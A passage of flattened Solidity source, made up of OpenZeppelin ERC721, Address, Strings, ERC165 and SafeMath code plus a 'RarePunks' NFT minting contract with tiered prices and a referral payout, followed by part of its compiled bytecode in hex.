_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract RarePunks is ERC721Enumerable, Ownable, ReentrancyGuard { event Affiliate(address indexed ref, address indexed minter, uint indexed value); using SafeMath for uint; string internal baseURI; uint public constant MAX_SUPPLY = 500; constructor(address owner, string memory tokenBaseUri) ERC721("RarePunks", "RARE") { Ownable.transferOwnership(owner); baseURI = tokenBaseUri; } function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string calldata newBaseUri) external onlyOwner { baseURI = newBaseUri; } function getPrice(uint quantity) public view returns (uint) { uint supply = totalSupply(); uint price = 0; for(uint i = 1; i <= quantity; i++){ uint tokenId = supply + i; if(tokenId > 500) { } else if (tokenId > 460) { price += 0.8 ether; // 461- 500 0.8 ETH } else if (tokenId > 400) { price += 0.4 ether; // 401 - 460 0.4 ETH } else if (tokenId > 300) { price += 0.2 ether; // 301 - 400 0.2 ETH } else if (tokenId > 200) { price += 0.1 ether; // 201 - 300 0.1 ETH } else if (tokenId > 0) { price += 0.05 ether; // 1 - 200 0.05 ETH } } return price; } function mint(uint quantity, address ref) public payable nonReentrant { uint supply = totalSupply(); require(supply < MAX_SUPPLY, "All tokens are minted"); require(quantity > 0, "Quantity can not be 0"); require(supply.add(quantity) <= MAX_SUPPLY, "Exceeds max supply"); require(msg.value >= getPrice(quantity), "Incorrect ETH value"); for (uint i = 1; i <= quantity; i++) { _safeMint(_msgSender(), supply + i); } if (ref != address(0)) { uint value = msg.value.mul(3).div(10); payable(ref).transfer(value); emit Affiliate(ref, _msgSender(), value); } } function withdraw() public onlyOwner { payable(owner()).transfer(address(this).balance); } function tokensIdOf(address owner) public view returns(uint[] memory) { uint length = balanceOf(owner); uint[] memory tokensId = new uint[](length); for(uint i = 0; i < length; i++){ tokensId[i] = tokenOfOwnerByIndex(owner, i); } return tokensId; } }
0x6080604052600436106101965760003560e01c806355f804b3116100e157806395d89b411161008a578063c87b56dd11610064578063c87b56dd1461043e578063e75722301461045e578063e985e9c51461047e578063f2fde38b146104c757600080fd5b806395d89b41146103e9578063a22cb465146103fe578063b88d4fde1461041e57600080fd5b8063715018a6116100bb578063715018a6146103a35780638da5cb5b146103b857806394bf804d146103d657600080fd5b806355f804b3146103435780636352211e1461036357806370a082311461038357600080fd5b80632f745c591161014357806342842e0e1161011d57806342842e0e146102d65780634f6ccce7146102f657806355396a631461031657600080fd5b80632f745c591461028b57806332cb6b0c146102ab5780633ccfd60b146102c157600080fd5b8063095ea7b311610174578063095ea7b31461022a57806318160ddd1461024c57806323b872dd1461026b57600080fd5b806301ffc9a71461019b57806306fdde03146101d0578063081812fc146101f2575b600080fd5b3480156101a757600080fd5b506101bb6101b6366004611fac565b6104e7565b60405190151581526020015b60405180910390f35b3480156101dc57600080fd5b506101e561052b565b6040516101c79190612021565b3480156101fe57600080fd5b5061021261020d366004612034565b6105bd565b6040516001600160a01b0390911681526020016101c7565b34801561023657600080fd5b5061024a610245366004612069565b610657565b005b34801561025857600080fd5b506008545b6040519081526020016101c7565b34801561027757600080fd5b5061024a610286366004612093565b610789565b34801561029757600080fd5b5061025d6102a6366004612069565b610810565b3480156102b757600080fd5b5061025d6101f481565b3480156102cd57600080fd5b5061024a6108b8565b3480156102e257600080fd5b5061024a6102f1366004612093565b61094e565b34801561030257600080fd5b5061025d610311366004612034565b610969565b34801561032257600080fd5b506103366103313660046120cf565b610a0d565b6040516101c791906120ea565b34801561034f57600080fd5b5061024a61035e36600461212e565b610aaf565b34801561036f57600080fd5b5061021261037e366004612034565b610b15565b34801561038f57600080fd5b5061025d61039e3660046120cf565b610ba0565b3480156103af57600080fd5b5061024a610c3a565b3480156103c457600080fd5b50600a546001600160a01b0316610212565b61024a6103e43660046121a0565b610ca0565b3480156103f557600080fd5b506101e5610f2e565b34801561040a57600080fd5b5061024a6104193660046121cc565b610f3d565b34801561042a57600080fd5b5061024a61043936600461221e565b611002565b34801561044a57600080fd5b506101e5610459366004612034565b611090565b34801561046a57600080fd5b5061025d610479366004612034565b611179565b34801561048a57600080fd5b506101bb6104993660046122fa565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156104d357600080fd5b5061024a6104e23660046120cf565b611253565b60006001600160e01b031982167f780e9d63000000000000000000000000000000000000000000000000000000001480610525575061052582611332565b92915050565b60606000805461053a90612324565b80601f016020809104026020016040519081016040528092919081815260200182805461056690612324565b80156105b35780601f10610588576101008083540402835291602001916105b3565b820191906000526020600020905b81548152906001019060200180831161059657829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661063b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061066282610b15565b9050806001600160a01b0316836001600160a01b031614156106ec5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610632565b336001600160a01b038216148061070857506107088133610499565b61077a5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610632565b61078483836113cd565b505050565b6107933382611448565b6108055760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610632565b61078483838361153f565b600061081b83610ba0565b821061088f5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610632565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b031633146109125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610632565b600a546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561094b573d6000803e3d6000fd5b50565b61078483838360405180602001604052806000815250611002565b600061097460085490565b82106109e85760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610632565b600882815481106109fb576109fb61235f565b90600052602060002001549050919050565b60606000610a1a83610ba0565b905060008167ffffffffffffffff811115610a3757610a37612208565b604051908082528060200260200182016040528015610a60578160200160208202803683370190505b50905060005b82811015610aa757610a788582610810565b828281518110610a8a57610a8a61235f565b602090810291909101015280610a9f8161238b565b915050610a66565b509392505050565b600a546001600160a01b03163314610b095760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610632565b610784600c8383611efd565b6000818152600260205260408120546001600160a01b0316806105255760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610632565b60006001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610632565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610c945760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610632565b610c9e6000611724565b565b6002600b541415610cf35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610632565b6002600b556000610d0360085490565b90506101f48110610d565760405162461bcd60e51b815260206004820152601560248201527f416c6c20746f6b656e7320617265206d696e74656400000000000000000000006044820152606401610632565b60008311610da65760405162461bcd60e51b815260206004820152601560248201527f5175616e746974792063616e206e6f74206265203000000000000000000000006044820152606401610632565b6101f4610db38285611783565b1115610e015760405162461bcd60e51b815260206004820152601260248201527f45786365656473206d617820737570706c7900000000000000000000000000006044820152606401610632565b610e0a83611179565b341015610e595760405162461bcd60e51b815260206004820152601360248201527f496e636f7272656374204554482076616c7565000000000000000000000000006044820152606401610632565b60015b838111610e8857610e7633610e7183856123a6565b61178f565b80610e808161238b565b915050610e5c565b506001600160a01b03821615610f24576000610eb0600a610eaa3460036117ad565b906117b9565b6040519091506001600160a01b0384169082156108fc029083906000818181858888f19350505050158015610ee9573d6000803e3d6000fd5b50604051819033906001600160a01b038616907feb947786702d836c8f1ed73e13d06f5997a65328722a19b12c94c9541bfe6cc290600090a4505b50506001600b5550565b60606001805461053a90612324565b6001600160a01b038216331415610f965760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610632565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61100c3383611448565b61107e5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610632565b61108a848484846117c5565b50505050565b6000818152600260205260409020546060906001600160a01b031661111d5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610632565b6000611127611843565b905060008151116111475760405180602001604052806000815250611172565b8061115184611852565b6040516020016111629291906123be565b6040516020818303038152906040525b9392505050565b60008061118560085490565b9050600060015b848111610aa757600061119f82856123a6565b90506101f48111156111b057611240565b6101cc8111156111d3576111cc670b1a2bc2ec500000846123a6565b9250611240565b6101908111156111ef576111cc67058d15e176280000846123a6565b61012c81111561120b576111cc6702c68af0bb140000846123a6565b60c8811115611226576111cc67016345785d8a0000846123a6565b80156112405761123d66b1a2bc2ec50000846123a6565b92505b508061124b8161238b565b91505061118c565b600a546001600160a01b031633146112ad5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610632565b6001600160a01b0381166113295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610632565b61094b81611724565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061139557506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061052557507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b0319831614610525565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155819061140f82610b15565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114c15760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610632565b60006114cc83610b15565b9050806001600160a01b0316846001600160a01b031614806115075750836001600160a01b03166114fc846105bd565b6001600160a01b0316145b8061153757506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661155282610b15565b6001600160a01b0316146115ce5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610632565b6001600160a01b0382166116495760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610632565b611654838383611984565b61165f6000826113cd565b6001600160a01b03831660009081526003602052604081208054600192906116889084906123ed565b90915550506001600160a01b03821660009081526003602052604081208054600192906116b69084906123a6565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061117282846123a6565b6117a9828260405180602001604052806000815250611a3c565b5050565b60006111728284612404565b60006111728284612439565b6117d084848461153f565b6117dc84848484611aba565b61108a5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610632565b6060600c805461053a90612324565b60608161189257505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156118bc57806118a68161238b565b91506118b59050600a83612439565b9150611896565b60008167ffffffffffffffff8111156118d7576118d7612208565b6040519080825280601f01601f191660200182016040528015611901576020820181803683370190505b5090505b8415611537576119166001836123ed565b9150611923600a8661244d565b61192e9060306123a6565b60f81b8183815181106119435761194361235f565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061197d600a86612439565b9450611905565b6001600160a01b0383166119df576119da81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611a02565b816001600160a01b0316836001600160a01b031614611a0257611a028382611c12565b6001600160a01b038216611a195761078481611caf565b826001600160a01b0316826001600160a01b031614610784576107848282611d5e565b611a468383611da2565b611a536000848484611aba565b6107845760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610632565b60006001600160a01b0384163b15611c0757604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611afe903390899088908890600401612461565b602060405180830381600087803b158015611b1857600080fd5b505af1925050508015611b48575060408051601f3d908101601f19168201909252611b459181019061249d565b60015b611bed573d808015611b76576040519150601f19603f3d011682016040523d82523d6000602084013e611b7b565b606091505b508051611be55760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610632565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611537565b506001949350505050565b60006001611c1f84610ba0565b611c2991906123ed565b600083815260076020526040902054909150808214611c7c576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611cc1906001906123ed565b60008381526009602052604081205460088054939450909284908110611ce957611ce961235f565b906000526020600020015490508060088381548110611d0a57611d0a61235f565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611d4257611d426124ba565b6001900381819060005260206000200160009055905550505050565b6000611d6983610ba0565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611df85760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610632565b6000818152600260205260409020546001600160a01b031615611e5d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610632565b611e6960008383611984565b6001600160a01b0382166000908152600360205260408120805460019290611e929084906123a6565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611f0990612324565b90600052602060002090601f016020900481019282611f2b5760008555611f71565b82601f10611f445782800160ff19823516178555611f71565b82800160010185558215611f71579182015b82811115611f71578235825591602001919060010190611f56565b50611f7d929150611f81565b5090565b5b80821115611f7d5760008155600101611f82565b6001600160e01b03198116811461094b57600080fd5b600060208284031215611fbe57600080fd5b813561117281611f96565b60005b83811015611fe4578181015183820152602001611fcc565b8381111561108a5750506000910152565b6000815180845261200d816020860160208601611fc9565b601f01601f19169290920160200192915050565b6020815260006111726020830184611ff5565b60006020828403121561204657600080fd5b5035919050565b80356001600160a01b038116811461206457600080fd5b919050565b60008060408385